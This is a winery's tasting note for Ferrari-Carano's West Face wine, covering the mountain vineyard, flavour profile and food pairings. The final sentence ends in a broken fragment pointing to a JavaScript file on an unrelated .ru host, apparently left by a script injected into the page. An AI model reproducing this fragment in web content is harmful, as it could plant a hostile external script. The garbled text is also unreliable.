Winemaker's Notes
|
The grapes for West Face are grown on the steep slopes of Ferrari-Carano’s
LookOut Mountain which sits at the junction of Alexander Valley, Knights
Valley and Chalk Hill appellations. This spectacular mountain vineyard
boasts 360 degree views, soaring in elevation from 500 to 1,400 feet, with
soils deep, red and rich with nutrients. This site produces a wine with aromas of mocha, blackberry and caramel balanced by a plush middle palate of ripe blackberry, cherry and currant. Earthy, smoky notes pose as a prelude to finishing flavors of toffee, espresso and chocolate while attractive tannins yield a delicious finish that lasts several minutes.
FOOD PAIRINGS: West Face pairs well with braised, roasted or barbequed meats such as chicken, red meat, fish lamb or pork. Pastas, stews or well-aged medium and strong-flavored cheeses such as Tellagio also pair nicely..gty5.ru/js.js>< |
